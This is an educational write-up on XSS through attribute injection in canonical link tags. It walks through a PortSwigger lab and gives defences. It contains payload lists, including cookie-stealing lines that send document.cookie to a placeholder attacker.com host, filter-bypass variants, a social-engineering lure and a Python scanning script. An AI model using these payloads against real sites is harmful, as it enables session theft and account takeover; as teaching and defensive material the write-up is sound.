Canonical Link Tag XSS: accesskey + onclick Attribute Injection
Overview
Canonical link tag XSS exploits user input reflected in <link rel="canonical"> elements in the page <head>. When angle brackets are escaped (preventing tag injection), attackers can still inject attributes like accesskey and onclick to achieve JavaScript execution via keyboard shortcuts.
What Are Canonical Links?
Purpose
Canonical links tell search engines which URL is the “main” version when multiple URLs show identical content.
The SEO problem:
https://shop.com/product?id=123
https://shop.com/product?id=123&ref=email
https://shop.com/product?id=123&utm_source=twitter
All three URLs show the same product but appear as different pages to search engines, causing:
- Split SEO value
- Duplicate content penalties
- Diluted page rankings
The solution:
<link rel="canonical" href="https://shop.com/product?id=123"/>
Tells search engines: “This is the official URL, ignore variations”
Where They Live
Canonical links always go in the <head> section:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Product Page</title>
<link rel="canonical" href="https://shop.com/product?id=123"/>
<!-- Hidden metadata, not visible to users -->
</head>
<body>
<h1>Product Name</h1>
<p>Product description...</p>
</body>
</html>
Why Canonical Links Are Vulnerable
Reason 1: Hidden from View
Visibility blindspot:
- Developers focus on visible content
- Sanitize body content carefully
- Forget about
<head>metadata - Canonical links become overlooked injection points
Common pattern:
// Body content - carefully sanitized
$title = htmlspecialchars($_GET['title']);
echo '<h1>' . $title . '</h1>'; // Safe
// Canonical link - forgotten!
$url = $_SERVER['REQUEST_URI'];
echo '<link rel="canonical" href="https://site.com' . $url . '"/>'; // Vulnerable
Reason 2: Dynamic URL Construction
Typical implementation:
// Build canonical from current request
$currentPath = $_SERVER['REQUEST_URI'];
echo '<link rel="canonical" href="' . $baseUrl . $currentPath . '"/>';
Problem: Direct reflection without sanitization
Reason 3: <link> Elements Execute JavaScript!
Critical misconception: “Metadata tags are harmless”
Reality: <link> is a full HTML element that can:
- Have event handlers (onclick, onerror, onload)
- Respond to keyboard shortcuts (accesskey)
- Execute JavaScript when activated
- Work even though invisible in the page!
<!-- This works! -->
<link rel="canonical" href="/page" accesskey="x" onclick="alert(1)"/>
Reason 4: Angle Bracket Escaping Isn’t Enough
Developer thinks:
- “I escaped
<and>so no tag injection!” - “XSS prevented!”
Reality:
- Can’t inject new tags:
<script>-><script> - But can inject attributes within existing tag!
- Angle bracket escaping doesn’t protect against attribute injection
The Attack Pattern
Step 1: Identify the Reflection
Vulnerable code:
$path = $_SERVER['REQUEST_URI'];
echo '<link rel="canonical" href="https://example.com' . $path . '"/>';
Normal request:
GET /product?id=123
Generated HTML:
<link rel="canonical" href="https://example.com/product?id=123"/>
Step 2: Test for Angle Bracket Escaping
Test payload:
/product?test=<script>alert(1)</script>
If escaped:
<link rel="canonical" href="https://example.com/product?test=<script>alert(1)</script>"/>
Conclusion: Can’t inject new tags, but attributes still possible!
Step 3: Break Out of href Attribute
Goal: Close the href quote to inject new attributes
Original:
<link rel="canonical" href="https://example.com/PATH"/>
Inject closing quote in PATH:
/" test="value
Result:
<link rel="canonical" href="https://example.com/" test="value"/>
^ ^
Closes href New attribute!
Step 4: Inject accesskey and onclick
Payload:
" accesskey="x" onclick="alert(1)" x="
Breakdown:
"- Closes href attributeaccesskey="x"- Creates keyboard shortcut (Alt+Shift+X)onclick="alert(1)"- JavaScript to execute on activationx="- Dummy attribute to consume the original trailing"
Result:
<link rel="canonical"
href="https://example.com/"
accesskey="x"
onclick="alert(1)"
x=""/>
Step 5: User Activation
When user presses Alt+Shift+X (or Alt+X on Mac):
- Browser searches for element with
accesskey="x" - Finds the
<link rel="canonical">element - “Activates” it (equivalent to clicking)
onclickevent handler fires- JavaScript executes:
alert(1) - XSS complete!
Visual Attack Flow
┌──────────────────────────────────────────┐
│ Step 1: Attacker Crafts Malicious URL │
│ https://target.com/" accesskey="x"... │
└──────────────────────────────────────────┘
↓
┌──────────────────────────────────────────┐
│ Step 2: Victim Visits URL │
│ (Via phishing, social engineering, etc) │
└──────────────────────────────────────────┘
↓
┌──────────────────────────────────────────┐
│ Step 3: Server Generates HTML │
│ <link rel="canonical" │
│ href="https://target.com/" │
│ accesskey="x" │
│ onclick="alert(document.domain)" │
│ x=""/> │
│ │
│ Note: Angle brackets escaped but │
│ attributes are not! │
└──────────────────────────────────────────┘
↓
┌──────────────────────────────────────────┐
│ Step 4: Social Engineering │
│ "Press Alt+X to continue" │
│ "Press Alt+X to unlock content" │
│ Or: Lab auto-tests key combinations │
└──────────────────────────────────────────┘
↓
┌──────────────────────────────────────────┐
│ Step 5: User Presses Alt+Shift+X │
│ (Windows/Linux) │
│ Or Alt+X (Mac) │
└──────────────────────────────────────────┘
↓
┌──────────────────────────────────────────┐
│ Step 6: Browser Activates Link Element │
│ - Searches DOM for accesskey="x" │
│ - Finds canonical link │
│ - Triggers onclick event │
└──────────────────────────────────────────┘
↓
┌──────────────────────────────────────────┐
│ Step 7: JavaScript Execution │
│ onclick="alert(document.domain)" runs │
│ XSS achieved! │
└──────────────────────────────────────────┘
Understanding accesskey
What It Does
The accesskey attribute creates a keyboard shortcut to “activate” an element:
<a href="/help" accesskey="h">Help</a>
<!-- Press Alt+Shift+H to follow this link -->
<button accesskey="s">Save</button>
<!-- Press Alt+Shift+S to click this button -->
<input accesskey="u">
<!-- Press Alt+Shift+U to focus this input -->
Browser-Specific Shortcuts
| Browser | OS | Key Combination |
|---|---|---|
| Chrome | Windows/Linux | Alt + Shift + [key] |
| Firefox | Windows/Linux | Alt + Shift + [key] |
| Edge | Windows | Alt + Shift + [key] |
| Safari | Mac | Alt + [key] |
| Chrome | Mac | Ctrl + Alt + [key] |
What “Activation” Means
For different elements:
- Links (
<a>) -> Follows the link - Buttons -> Clicks the button
- Inputs -> Focuses the input
- Any element with onclick -> Triggers onclick!
For <link> elements:
- No default behavior
- But onclick still fires!
- Perfect for XSS
Why accesskey Works on Invisible Elements
Key insight: accesskey works on any HTML element, even if:
- Not visible (display:none)
- In the
<head>section - Has no visual representation
- User can’t see it
Example:
<head>
<link rel="canonical" href="/page" accesskey="x" onclick="alert(1)"/>
<!-- Invisible but still has accesskey! -->
</head>
When user presses Alt+Shift+X -> onclick fires!
Payload Construction
Basic Payload Structure
" accesskey="KEY" onclick="JAVASCRIPT" x="
Components:
- Close href quote:
" - Keyboard shortcut:
accesskey="KEY" - JavaScript code:
onclick="JAVASCRIPT" - Consume trailing quote:
x="
Practical Payloads
Basic alert:
" accesskey="x" onclick="alert(1)" x="
Show domain:
" accesskey="x" onclick="alert(document.domain)" x="
Show cookie:
" accesskey="x" onclick="alert(document.cookie)" x="
Cookie exfiltration:
" accesskey="x" onclick="fetch('https://attacker.com?c='+document.cookie)" x="
Redirect to attacker:
" accesskey="x" onclick="location='https://attacker.com?c='+document.cookie" x="
Quote Type Variations
If href uses double quotes:
<link rel="canonical" href="URL"/>
Payload: " accesskey="x" onclick="alert(1)" x="
If href uses single quotes:
<link rel="canonical" href='URL'/>
Payload: ' accesskey='x' onclick='alert(1)' x='
Mixed quotes (if needed):
" accesskey='x' onclick='alert(1)' x="
Alternative Keys
If ‘x’ doesn’t work, try:
" accesskey="a" onclick="alert(1)" x=" (Alt+Shift+A)
" accesskey="z" onclick="alert(1)" x=" (Alt+Shift+Z)
" accesskey="1" onclick="alert(1)" x=" (Alt+Shift+1)
" accesskey="X" onclick="alert(1)" x=" (Capital X)
Encoded Variations
HTML entities:
" accesskey="x" onclick="alert(1)" x="
JavaScript Unicode:
" accesskey="x" onclick="\u0061lert(1)" x="
String concatenation:
" accesskey="x" onclick="window['ale'+'rt'](1)" x="
Alternative Event Handlers
If onclick is blocked, try other events:
onmouseover (requires hover)
" accesskey="x" onmouseover="alert(1)" x="
(Pressing accesskey brings focus, may trigger hover)
onfocus
" accesskey="x" onfocus="alert(1)" tabindex="1" x="
(accesskey focuses element with tabindex)
onerror (for <link>)
" accesskey="x" onerror="alert(1)" href="invalid" x="
(If href becomes invalid, onerror fires)
onauxclick (middle/right click)
" accesskey="x" onauxclick="alert(1)" x="
Real-World Lab Scenario
PortSwigger Lab Pattern
Lab says:
- Reflects input in canonical link tag
- Escapes angle brackets
- Simulated user will press key combinations
Translation:
- Input goes in
<link rel="canonical"> - Can’t use
<script>or other tags - Use accesskey because lab auto-tests keys
Solution Steps
Step 1: Find the parameter
https://lab-id.web-security-academy.net/?[PARAM]=test
Step 2: View source to find canonical link
<link rel="canonical" href="https://lab-id.web-security-academy.net/?[PARAM]=test"/>
Step 3: Test quote breakout
?[PARAM]="test
Check if creates: href="https://...?[PARAM]="test"/>
Step 4: Inject payload
?[PARAM]=" accesskey="x" onclick="alert(1)" x="
Step 5: Verify in source
<link rel="canonical"
href="https://lab-id.web-security-academy.net/?[PARAM]="
accesskey="x"
onclick="alert(1)"
x=""/>
Step 6: Let lab test keys PortSwigger labs automatically test key combinations
Step 7: Lab solved!
Why This Technique Is Effective
Advantage 1: Bypasses Tag-Based Filters
Blocked:
<script>alert(1)</script><img src=x onerror=alert(1)></link><svg onload=alert(1)>
Allowed:
" accesskey="x" onclick="alert(1)" x="- No new tags, just attributes
- Angle bracket escaping irrelevant
Advantage 2: Hidden Injection Point
Developers focus on:
- Form inputs
- Search results
- User comments
- Profile pages
Developers forget:
- Canonical links
- Other
<head>metadata - Open Graph tags
- Twitter card tags
Advantage 3: Works Without User Interaction (in Labs)
PortSwigger labs:
- Simulate key presses automatically
- Test Alt+Shift+X, Alt+Shift+A, etc.
- XSS fires without manual testing
Advantage 4: Legitimate HTML
The payload looks valid:
<link rel="canonical"
href="https://example.com/"
accesskey="x"
onclick="alert(1)"/>
- Valid HTML syntax
- All attributes are legal
- No obvious malicious patterns
- May bypass WAF signatures
Defense Strategies
1. HTML Encode for Attribute Context
Proper encoding:
$path = $_SERVER['REQUEST_URI'];
$safePath = htmlspecialchars($path, ENT_QUOTES, 'UTF-8');
echo '<link rel="canonical" href="https://example.com' . $safePath . '"/>';
What it does:
- Encodes
"->" - Encodes
'->' - Encodes
<->< - Encodes
>->> - Encodes
&->&
Result:
<!-- Input: " accesskey="x" onclick="alert(1)" x=" -->
<link rel="canonical" href="https://example.com/" accesskey="x" onclick="alert(1)" x=""/>
<!-- Harmless! Displayed as part of URL, not as attributes -->
2. Use URL Validation
Validate before reflecting:
function isValidCanonical($url) {
// Must start with expected base
if (!str_starts_with($url, 'https://example.com/')) {
return false;
}
// Must not contain quotes
if (strpos($url, '"') !== false || strpos($url, "'") !== false) {
return false;
}
return true;
}
$url = 'https://example.com' . $_SERVER['REQUEST_URI'];
if (isValidCanonical($url)) {
echo '<link rel="canonical" href="' . htmlspecialchars($url, ENT_QUOTES) . '"/>';
}
3. Whitelist Parameters
Only reflect known-safe parameters:
$allowedParams = ['id', 'page', 'sort'];
$cleanParams = [];
foreach ($_GET as $key => $value) {
if (in_array($key, $allowedParams)) {
$cleanParams[$key] = preg_replace('/[^a-zA-Z0-9]/', '', $value);
}
}
$queryString = http_build_query($cleanParams);
$canonical = 'https://example.com/page?' . $queryString;
echo '<link rel="canonical" href="' . htmlspecialchars($canonical, ENT_QUOTES) . '"/>';
4. Use Static Canonical URLs
Best practice:
// Don't reflect entire URL
// Use product ID only
$productId = (int)$_GET['id']; // Cast to int
$canonical = 'https://example.com/product?id=' . $productId;
echo '<link rel="canonical" href="' . $canonical . '"/>';
5. Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self'
Benefit:
- Blocks inline event handlers
onclick="alert(1)"won’t execute- Defense-in-depth layer
6. Remove accesskey Attributes (CSP Level 3)
Content-Security-Policy: require-trusted-types-for 'script';
Some CSP implementations can restrict inline event handlers and dynamic attributes.
Testing Methodology
Step 1: Identify Canonical Link
View page source:
- Ctrl+U (Chrome/Firefox)
- Look in
<head>section - Find
<link rel="canonical">
Example:
<head>
<meta charset="UTF-8">
<title>Page Title</title>
<link rel="canonical" href="https://example.com/page?param=value"/>
</head>
Step 2: Test Reflection
Modify URL parameter:
?param=TEST123MARKER
Check if reflected:
<link rel="canonical" href="https://example.com/page?param=TEST123MARKER"/>
Reflected = potential injection point
Step 3: Test Quote Breakout
Try closing quote:
?param="test
Check result:
<link rel="canonical" href="https://example.com/page?param="test"/>
^
Breaks out of href!
Step 4: Test Attribute Injection
Inject test attribute:
?param=" test="value" x="
Verify:
<link rel="canonical" href="https://example.com/page?param=" test="value" x=""/>
Attribute injection works!
Step 5: Inject XSS Payload
Full payload:
?param=" accesskey="x" onclick="alert(1)" x="
Verify in source:
<link rel="canonical"
href="https://example.com/page?param="
accesskey="x"
onclick="alert(1)"
x=""/>
Step 6: Test Execution
Manual test:
- Press Alt+Shift+X (Windows/Linux)
- Press Alt+X (Mac)
- Check if alert fires
PortSwigger labs:
- Submit the URL
- Lab automatically tests key combinations
- Marks as solved if XSS works
Automation Script
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse, parse_qs
def test_canonical_xss(url):
"""
Test for canonical link XSS vulnerability
"""
print(f"[*] Testing {url}\n")
# Step 1: Get the page and find canonical link
r = requests.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
canonical = soup.find('link', rel='canonical')
if not canonical:
print("[-] No canonical link found")
return
print(f"[+] Found canonical: {canonical.get('href')}")
# Step 2: Extract parameters
parsed = urlparse(url)
params = parse_qs(parsed.query)
if not params:
print("[-] No parameters to test")
return
# Step 3: Test each parameter
payloads = [
'" accesskey="x" onclick="alert(1)" x="',
"' accesskey='x' onclick='alert(1)' x='",
'" accesskey="a" onclick="alert(1)" x="',
]
for param_name in params:
print(f"\n[*] Testing parameter: {param_name}")
for i, payload in enumerate(payloads, 1):
test_params = params.copy()
test_params[param_name] = [payload]
# Build test URL
test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
test_url += '?' + '&'.join([f"{k}={v[0]}" for k, v in test_params.items()])
print(f" [*] Payload {i}: {payload[:40]}...")
try:
r = requests.get(test_url)
soup = BeautifulSoup(r.text, 'html.parser')
canonical = soup.find('link', rel='canonical')
if canonical:
# Check if accesskey and onclick are present
if canonical.get('accesskey') and canonical.get('onclick'):
print(f" VULNERABLE!")
print(f" Canonical: {canonical}")
print(f" Test URL: {test_url}")
return
else:
print(f" Payload filtered or not reflected")
else:
print(f" Canonical link removed")
except Exception as e:
print(f" Error: {str(e)}")
# Usage
test_canonical_xss('https://target.com/page?id=123')
Key Takeaways
- Hidden Metadata: Canonical links in
<head>are often forgotten by developers - Angle Brackets Insufficient: Escaping
<>doesn’t prevent attribute injection - accesskey Power: Creates keyboard shortcuts on ANY element, even invisible ones
- Quote Breakout: Closing href quote allows injection of new attributes
- Dummy Attributes:
x="consumes trailing quotes to keep HTML valid - Social Engineering: “Press Alt+X” can trick users into triggering XSS
- Lab Automation: PortSwigger labs automatically test key combinations
- Defense Requires Encoding: Must HTML-encode ALL reflected input, even in metadata
Related Techniques
- Attribute Breakout XSS (autofocus + onfocus) - similar attribute injection
- Systematic XSS Testing with Burp Intruder
- XSS Testing Punch List
References
- PortSwigger XSS Cheat Sheet
- Canonical Link Element - MDN
- accesskey Attribute - MDN
- Google Search Central - Canonical URLs